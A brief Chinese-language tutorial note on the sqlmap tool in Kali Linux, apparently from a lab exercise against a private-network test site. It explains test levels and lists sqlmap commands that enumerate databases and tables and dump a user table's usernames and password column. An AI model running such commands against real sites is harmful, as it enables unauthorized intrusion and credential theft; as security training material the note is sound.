5.SQL Map工具的使用

一.kali系统 SQL Map工具

1.SQL Map可以完成注入点的发现，数据库类型的确认，WebShell权限和路径的确认，拖库等一系列功能

2.测试的功能一共分为五级，level1-level5

level1属于基础级，payload相对较少

level5属于最顶级，payload相对较多

sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"

--Cookie=PHPSESSID=cbcb9235844227a4066a5e0e65601f01

 

sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"

--level=5

 

sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"

--dbs

 

sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"

--current-db

 

sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"

--tables -D learn

 

sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"

--dump -C "userid,username,passwd" -T "user" -D "learn"